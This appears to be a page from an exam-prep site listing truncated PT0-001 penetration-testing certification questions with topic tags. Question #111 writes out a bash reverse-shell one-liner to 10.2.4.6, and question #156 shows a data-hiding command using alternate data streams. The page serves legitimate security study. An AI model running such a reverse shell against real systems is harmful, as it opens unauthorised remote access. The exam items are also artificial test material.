PT0-001 Exam Questions
246 real PT0-001 exam questions with expert-verified answers and explanations. Page 3 of 5.
- Question #104Engagement management
After performing a security assessment for a firm, the client was found to have been billed for the time the client's test environment was unavailable. The Client claims to have be...
SOWengagement documentationbilling disputelegal documents - Question #105Post-exploitation and lateral movement
During an internal network penetration test, a tester recovers the NTLM password hash tor a user known to have full administrator privileges on a number of target systems Efforts t...
NTLM hashpass-the-hashWindows authenticationlateral movement - Question #106Engagement management
A client requests that a penetration tester emulate a help desk technician who was recently laid off. Which of the following BEST describes the abilities of the threat actor?
threat actor modelinginsider threatdisgruntled employeesocial engineering - Question #107Attacks and exploits
Which of the following types of physical security attacks does a mantrap mitigate-?
physical securitymantraptailgatingaccess control - Question #108Vulnerability discovery and analysis
A penetration tester wants to check manually if a "ghost" vulnerability exists in a system. Which of the following methods is the correct way to validate the vulnerability?
GHOST vulnerabilityglibcvulnerability validationLinux - Question #109Engagement management
Which of the following reasons does penetration tester needs to have a customer's point-of - contact information available at all time? (Select THREE).
point of contactincident escalationengagement communicationreporting - Question #110Engagement management
While engaging clients for a penetration test from highly regulated industries, which of the following is usually the MOST important to the clients from a business perspective?
regulated industriesexecutive summaryrisk summarybusiness perspective - Question #111Post-exploitation and lateral movement
A tester intends to run the following command on a target system: bash -i >& /dev/tcp/10.2.4.6/443 0>&1 Which of the following additional commands would need to be executed on the...
reverse shellnetcat listenerbashcommand and control - Question #113Attacks and exploits
During an internal penetration test, several multicast and broadcast name resolution requests are observed traversing the network. Which of the following tools could be used to imp...
ResponderLLMNR poisoningNBNS poisoningcredential capture - Question #114Post-exploitation and lateral movement
In a physical penetration testing scenario, the penetration tester obtains physical access to a laptop following as a potential NEXT step to extract credentials from the device?
physical accessLLMNR poisoningcredential extractionpost-exploitation - Question #115Reconnaissance and enumeration
A penetration tester is utilizing social media to gather information about employees at a company. The tester has created a list of popular words used in employee profiles. For whi...
OSINTsocial mediadictionary attackpassword wordlist - Question #116Reconnaissance and enumeration
A tester has determined that null sessions are enabled on a domain controller. Which of the following attacks can be performed to leverage this vulnerability?
null sessionsRID cyclinguser enumerationdomain controller - Question #117Attacks and exploits
Joe, a penetration tester, is asked to assess a company's physical security by gaining access to its corporate office. Joe ism looking for a method that will enable him to enter th...
badge cloningphysical securityRFIDaccess control - Question #118Engagement management
A client has voiced concern about the number of companies being branched by remote attackers, who are looking for trade secrets. Which of following BEST describes the types of adve...
APTthreat actorstrade secretsnation state - Question #119Attacks and exploits
Which of the following CPU register does the penetration tester need to overwrite in order to exploit a simple buffer overflow?
buffer overflowCPU registersstack pointerexploit development - Question #120Vulnerability discovery and analysis
After a recent penetration test, a company has a finding regarding the use of dictionary and seasonal passwords by its employees. Which of the following is the BEST control to reme...
password policydictionary attackspassword filtersremediation - Question #121Engagement management
A penetration test was performed by an on-staff technicians junior technician. During the test, the technician discovered the application could disclose an SQL table with user acco...
SQL disclosurefindings reportingexecutive summaryengagement communication - Question #122Engagement management
A company planned for and secured the budget to hire a consultant to perform a web application penetration test. Upon discovered vulnerabilities, the company asked the consultant t...
scope creepengagement scoperules of engagementweb application testing - Question #123Post-exploitation and lateral movement
A penetration tester locates a few unquoted service paths during an engagement. Which of the following can the tester attempt to do with these?
unquoted service pathsprivilege escalationWindows serviceslocal privilege escalation - Question #124Reconnaissance and enumeration
A penetration tester has been asked to conduct OS fingerprinting with Nmap using a company- provide text file that contain a list of IP addresses. Which of the following are needed...
NmapOS fingerprintinginput listnetwork scanning - Question #125Attacks and exploits
Click the exhibit button. A penetration tester is performing an assessment when the network administrator shows the tester a packet sample that is causing trouble on the network. W...
ARP spoofingpacket analysisMITMnetwork attacks - Question #126Vulnerability discovery and analysis
Click the exhibit button. Given the Nikto vulnerability scan output shown in the exhibit, which of the following exploitation techniques might be used to exploit the target system?...
Niktoweb vulnerability scanningarbitrary code executionbrute force - Question #127Post-exploitation and lateral movement
Which of the following commands would allow a penetration tester to access a private network from the Internet in Metasploit?
Metasploitpivotingauxiliary modulesnetwork tunneling - Question #128Attacks and exploits
A tester has captured a NetNTLMv2 hash using Responder. Which of the following commands will allow the tester to crack the hash using a mask attack?
hashcatNetNTLMv2password crackingmask attack - Question #130Reconnaissance and enumeration
A penetration tester is preparing to conduct API testing. Which of the following would be MOST helpful in preparing for this engagement?
API testingSwaggerweb application reconnaissanceREST API - Question #133Vulnerability discovery and analysis
A penetration tester delivers a web application vulnerability scan report to a client. The penetration tester rates a vulnerability as medium severity. The same vulnerability was r...
vulnerability severityCVSS scoringexploit availabilityrisk assessment - Question #135Reconnaissance and enumeration
A penetration tester is scanning a network for SSH and has a list of provided targets. Which of the following Nmap commands should the tester use?
NmapSSH scanningport scanningtarget list - Question #136Reconnaissance and enumeration
A penetration tester has been assigned to perform an external penetration assessment of a company. Which of the following steps would BEST help with the passive-information-gatheri...
passive reconnaissanceOSINTIP registrysocial media - Question #137Attacks and exploits
A penetration tester is attempting to capture a handshake between a client and an access point by monitoring a WPA2-PSK secured wireless network. The tester is monitoring the corre...
WPA2-PSKwireless attacksdeauthentication attackhandshake capture - Question #138Engagement management
A company performed an annual penetration test of its environment. In addition to several new findings, all of the previously identified findings persisted on the latest report. Wh...
remediation trackingpentest findingsrisk managementannual assessment - Question #139Engagement management
A penetration tester has been asked to conduct a penetration test on a REST-based web service. Which of the following items is required?
REST APIweb service testingengagement preparationAPI documentation - Question #140Reconnaissance and enumeration
A penetration tester has performed a pivot to a new Linux device on a different network. The tester writes the following command: for m in {1..254..1};do ping -c 1 192.168.101.$m;...
ping sweeplive host identificationbash scriptingnetwork discovery - Question #141Reconnaissance and enumeration
A company hires a penetration tester to determine if there are any vulnerabilities in its new VPN concentrator installation with an external IP of 100.170.60.5. Which of the follow...
VPNIKE scanIPSecnetwork reconnaissance - Question #142Attacks and exploits
Joe, an attacker, intends to transfer funds discreetly from a victim's account to his own. Which of the following URLs can he use to accomplish this attack?
CSRFweb application attackURL manipulationfund transfer - Question #143Vulnerability discovery and analysis
A vulnerability scan identifies that an SSL certificate does not match the hostname; however, the client disputes the finding. Which of the following techniques can the penetration...
SSL/TLScertificate validationDNS resolutionvulnerability scanning - Question #144Reconnaissance and enumeration
At the beginning of a penetration test, the tester finds a file that includes employee data, such as email addresses, work phone numbers, computers names, and office locations. The...
OSINTpassive reconnaissancepublic data exposureemployee enumeration - Question #145Attacks and exploits
Given the following: Which of the following BEST describes the above attack?
directory traversalpath traversalweb application attacksfile system - Question #146Reconnaissance and enumeration
A penetration tester, who is not on the client's network. is using Nmap to scan the network for hosts that are in scope. The penetration tester is not receiving any response on the...
Nmaphost discoveryfirewall evasion-Pn flag - Question #147Post-exploitation and lateral movement
Joe, a penetration tester, has received basic account credentials and logged into a Windows system. To escalate his privilege, from which of the following places is he using Mimika...
MimikatzLSASScredential harvestingprivilege escalation - Question #148Engagement management
Which of the following is the purpose of an NDA?
NDAconfidentialitylegal agreementsengagement documentation - Question #149Vulnerability discovery and analysis
A penetration tester has run multiple vulnerability scans against a target system. Which of the following would be unique to a credentialed scan?
credentialed scanvulnerability scanningscan configurationauthenticated testing - Question #150Reconnaissance and enumeration
A penetration tester has been asked to conduct OS fingering with Nmap using a company- provided text file that contains a list of IP addresses. Which of the following are needed to...
NmapOS fingerprinting-O flag-iL flag - Question #151Post-exploitation and lateral movement
After establishing a shell on a target system, Joe, a penetration tester is aware that his actions have not been detected. He now wants to maintain persistent access to the machine...
persistencedetection riskpost-exploitationdomain user creation - Question #152Engagement management
A consultant is performing a social engineering attack against a client. The consultant was able to collect a number of usernames and passwords using a phishing campaign. The consu...
phishingsocial engineeringtwo-factor authenticationremediation recommendations - Question #153Vulnerability discovery and analysis
A penetration tester wants to check manually if a "ghost" vulnerability exists in a system. Which of the following methods is the correct way to validate the vulnerability?
GHOST vulnerabilityglibcLinuxvulnerability validation - Question #154Engagement management
A company has engaged a penetration tester to perform an assessment for an application that resides in the company's DMZ. Prior to conducting testing, in which of the following sol...
IP whitelistingNIDSDMZ testingpre-engagement setup - Question #155Post-exploitation and lateral movement
A penetration tester has compromised a host. Which of the following would be the correct syntax to create a Netcat listener on the device?
Netcatreverse shelllistener syntaxcommand execution - Question #156Post-exploitation and lateral movement
During post-exploitation, a tester identifies that only system binaries will pass an egress filter and store a file with the following command: c: \creditcards.db>c:\winit\system32...
alternate data streamsNTFSdata hidingegress filter evasion - Question #157Vulnerability discovery and analysis
A penetration tester has performed a vulnerability scan of a specific host that contains a valuable database and has identified the following vulnerabilities: XSS HTTP DELETE metho...
vulnerability prioritizationSQL injectionHTTP DELETErisk assessment - Question #158Attacks and exploits
A security guard observes an individual entering the building after scanning a badge. The facility has a strict badge-in and badge-out requirement with a turnstile. The security gu...
badge cloningphysical securityRFIDaccess control bypass